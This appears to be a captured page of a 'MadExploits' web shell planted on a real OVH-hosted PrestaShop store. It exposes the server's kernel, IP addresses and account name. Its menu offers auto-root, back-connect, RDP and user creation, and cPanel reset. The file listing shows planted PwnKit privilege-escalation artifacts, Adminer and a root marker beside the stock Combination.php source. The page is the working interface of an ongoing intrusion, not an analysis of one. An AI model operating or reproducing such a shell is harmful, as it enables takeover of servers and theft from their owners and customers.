Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Combination.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ /** * Class CombinationCore. */ class CombinationCore extends ObjectModel { /** @var int Product ID */ public $id_product; public $reference; /** @var string */ public $supplier_reference; public $location; public $ean13; public $isbn; public $upc; public $mpn; public $wholesale_price; public $price; public $unit_price_impact; public $ecotax; public $minimal_quantity = 1; /** @var int|null Low stock for mail alert */ public $low_stock_threshold = null; /** @var bool Low stock mail alert activated */ public $low_stock_alert = false; public $quantity; public $weight; public $default_on; public $available_date = '0000-00-00'; /** * @see ObjectModel::$definition */ public static $definition = [ 'table' => 'product_attribute', 'primary' => 'id_product_attribute', 'fields' => [ 'id_product' => ['type' => self::TYPE_INT, 'shop' => 'both', 'validate' => 'isUnsignedId', 'required' => true], 'location' => ['type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 64], 'ean13' => ['type' => self::TYPE_STRING, 'validate' => 'isEan13', 'size' => 13], 'isbn' => ['type' => self::TYPE_STRING, 'validate' => 'isIsbn', 'size' => 32], 'upc' => ['type' => self::TYPE_STRING, 'validate' => 'isUpc', 'size' => 12], 'mpn' => ['type' => self::TYPE_STRING, 'validate' => 'isMpn', 'size' => 40], 'quantity' => ['type' => self::TYPE_INT, 'validate' => 'isInt', 'size' => 10], 'reference' => ['type' => self::TYPE_STRING, 'size' => 64], 'supplier_reference' => ['type' => self::TYPE_STRING, 'size' => 64], /* Shop fields */ 'wholesale_price' => ['type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice', 'size' => 27], 'price' => ['type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isNegativePrice', 'size' => 20], 'ecotax' => ['type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice', 'size' => 20], 'weight' => ['type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isFloat'], 'unit_price_impact' => ['type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isNegativePrice', 'size' => 20], 'minimal_quantity' => ['type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedId', 'required' => true], 'low_stock_threshold' => ['type' => self::TYPE_INT, 'shop' => true, 'allow_null' => true, 'validate' => 'isInt'], 'low_stock_alert' => ['type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'], 'default_on' => ['type' => self::TYPE_BOOL, 'allow_null' => true, 'shop' => true, 'validate' => 'isBool'], 'available_date' => ['type' => self::TYPE_DATE, 'shop' => true, 'validate' => 'isDateFormat'], ], ]; protected $webserviceParameters = [ 'objectNodeName' => 'combination', 'objectsNodeName' => 'combinations', 'fields' => [ 'id_product' => ['required' => true, 'xlink_resource' => 'products'], ], 'associations' => [ 'product_option_values' => ['resource' => 'product_option_value'], 'images' => ['resource' => 'image', 'api' => 'images/products'], ], ]; /** * Deletes current Combination from the database. * * @return bool True if delete was successful * * @throws PrestaShopException */ public function delete() { if (!parent::delete()) { return false; } // Removes the product from StockAvailable, for the current shop StockAvailable::removeProductFromStockAvailable((int) $this->id_product, (int) $this->id); if ($specificPrices = SpecificPrice::getByProductId((int) $this->id_product, (int) $this->id)) { foreach ($specificPrices as $specificPrice) { $price = new SpecificPrice((int) $specificPrice['id_specific_price']); $price->delete(); } } if (!$this->hasMultishopEntries() && !$this->deleteAssociations()) { return false; } $this->deleteFromSupplier($this->id_product); Product::updateDefaultAttribute($this->id_product); Tools::clearColorListCache((int) $this->id_product); return true; } /** * Delete from Supplier. * * @param int $idProduct Product ID * * @return bool */ public function deleteFromSupplier($idProduct) { return Db::getInstance()->delete('product_supplier', 'id_product = ' . (int) $idProduct . ' AND id_product_attribute = ' . (int) $this->id); } /** * Adds current Combination as a new Object to the database. * * @param bool $autoDate Automatically set `date_upd` and `date_add` columns * @param bool $nullValues Whether we want to use NULL values instead of empty quotes values * * @return bool Indicates whether the Combination has been successfully added * * @throws PrestaShopDatabaseException * @throws PrestaShopException */ public function add($autoDate = true, $nullValues = false) { if ($this->default_on) { $this->default_on = 1; } else { $this->default_on = null; } if (!parent::add($autoDate, $nullValues)) { return false; } $product = new Product((int) $this->id_product); if ($product->getType() == Product::PTYPE_VIRTUAL) { StockAvailable::setProductOutOfStock((int) $this->id_product, 1, null, (int) $this->id); } else { StockAvailable::setProductOutOfStock((int) $this->id_product, StockAvailable::outOfStock((int) $this->id_product), null, $this->id); } SpecificPriceRule::applyAllRules([(int) $this->id_product]); Product::updateDefaultAttribute($this->id_product); return true; } /** * Updates the current Combination in the database. * * @param bool $nullValues Whether we want to use NULL values instead of empty quotes values * * @return bool Indicates whether the Combination has been successfully updated * * @throws PrestaShopDatabaseException * @throws PrestaShopException */ public function update($nullValues = false) { if ($this->default_on) { $this->default_on = 1; } else { $this->default_on = null; } $return = parent::update($nullValues); Product::updateDefaultAttribute($this->id_product); return $return; } /** * Delete associations. * * @return bool Indicates whether associations have been successfully deleted */ public function deleteAssociations() { if ((int) $this->id === 0) { return false; } $result = Db::getInstance()->delete('product_attribute_combination', '`id_product_attribute` = ' . (int) $this->id); $result &= Db::getInstance()->delete('cart_product', '`id_product_attribute` = ' . (int) $this->id); $result &= Db::getInstance()->delete('product_attribute_image', '`id_product_attribute` = ' . (int) $this->id); if ($result) { Hook::exec('actionAttributeCombinationDelete', ['id_product_attribute' => (int) $this->id]); } return $result; } /** * @param array $idsAttribute * * @return bool */ public function setAttributes($idsAttribute) { $result = $this->deleteAssociations(); if ($result && !empty($idsAttribute)) { $sqlValues = []; foreach ($idsAttribute as $value) { $sqlValues[] = '(' . (int) $value . ', ' . (int) $this->id . ')'; } $result = Db::getInstance()->execute( ' INSERT INTO `' . _DB_PREFIX_ . 'product_attribute_combination` (`id_attribute`, `id_product_attribute`) VALUES ' . implode(',', $sqlValues) ); if ($result) { Hook::exec('actionAttributeCombinationSave', ['id_product_attribute' => (int) $this->id, 'id_attributes' => $idsAttribute]); } } return $result; } /** * @param array $values * * @return bool */ public function setWsProductOptionValues($values) { $idsAttributes = []; foreach ($values as $value) { $idsAttributes[] = $value['id']; } return $this->setAttributes($idsAttributes); } /** * @return array|false|mysqli_result|PDOStatement|resource|null */ public function getWsProductOptionValues() { $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT a.id_attribute AS id FROM `' . _DB_PREFIX_ . 'product_attribute_combination` a ' . Shop::addSqlAssociation('attribute', 'a') . ' WHERE a.id_product_attribute = ' . (int) $this->id); return $result; } /** * @return array|false|mysqli_result|PDOStatement|resource|null */ public function getWsImages() { return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT a.`id_image` as id FROM `' . _DB_PREFIX_ . 'product_attribute_image` a ' . Shop::addSqlAssociation('product_attribute', 'a') . ' WHERE a.`id_product_attribute` = ' . (int) $this->id . ' '); } /** * @param $idsImage * * @return bool */ public function setImages($idsImage) { if (Db::getInstance()->execute(' DELETE FROM `' . _DB_PREFIX_ . 'product_attribute_image` WHERE `id_product_attribute` = ' . (int) $this->id) === false) { return false; } if (is_array($idsImage) && count($idsImage)) { $sqlValues = []; foreach ($idsImage as $value) { $sqlValues[] = '(' . (int) $this->id . ', ' . (int) $value . ')'; } if (is_array($sqlValues) && count($sqlValues)) { Db::getInstance()->execute( ' INSERT INTO `' . _DB_PREFIX_ . 'product_attribute_image` (`id_product_attribute`, `id_image`) VALUES ' . implode(',', $sqlValues) ); } } return true; } /** * @param $values * * @return bool */ public function setWsImages($values) { $idsImages = []; foreach ($values as $value) { $idsImages[] = (int) $value['id']; } return $this->setImages($idsImages); } /** * @param $idLang * * @return array|false|mysqli_result|PDOStatement|resource|null */ public function getAttributesName($idLang) { return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT al.* FROM ' . _DB_PREFIX_ . 'product_attribute_combination pac JOIN ' . _DB_PREFIX_ . 'attribute_lang al ON (pac.id_attribute = al.id_attribute AND al.id_lang=' . (int) $idLang . ') WHERE pac.id_product_attribute=' . (int) $this->id); } /** * This method is allow to know if a feature is active. * * @since 1.5.0.1 * * @return bool */ public static function isFeatureActive() { static $feature_active = null; if ($feature_active === null) { $feature_active = (bool) Configuration::get('PS_COMBINATION_FEATURE_ACTIVE'); } return $feature_active; } /** * This method is allow to know if a Combination entity is currently used. * * @since 1.5.0.1 * * @param $table * @param $hasActiveColumn * * @return bool */ public static function isCurrentlyUsed($table = null, $hasActiveColumn = false) { return parent::isCurrentlyUsed('product_attribute'); } /** * For a given product_attribute reference, returns the corresponding id. * * @param int $idProduct * @param string $reference * * @return int id */ public static function getIdByReference($idProduct, $reference) { if (empty($reference)) { return 0; } $query = new DbQuery(); $query->select('pa.id_product_attribute'); $query->from('product_attribute', 'pa'); $query->where('pa.reference LIKE \'%' . pSQL($reference) . '%\''); $query->where('pa.id_product = ' . (int) $idProduct); return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); } /** * @return array|false|mysqli_result|PDOStatement|resource|null */ public function getColorsAttributes() { return Db::getInstance()->executeS(' SELECT a.id_attribute FROM ' . _DB_PREFIX_ . 'product_attribute_combination pac JOIN ' . _DB_PREFIX_ . 'attribute a ON (pac.id_attribute = a.id_attribute) JOIN ' . _DB_PREFIX_ . 'attribute_group ag ON (ag.id_attribute_group = a.id_attribute_group) WHERE pac.id_product_attribute=' . (int) $this->id . ' AND ag.is_color_group = 1 '); } /** * Retrive the price of combination. * * @param int $idProductAttribute * * @return float mixed * * @since 1.5.0 */ public static function getPrice($idProductAttribute) { return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue( ' SELECT product_attribute_shop.`price` FROM `' . _DB_PREFIX_ . 'product_attribute` pa ' . Shop::addSqlAssociation('product_attribute', 'pa') . ' WHERE pa.`id_product_attribute` = ' . (int) $idProductAttribute ); } }
Close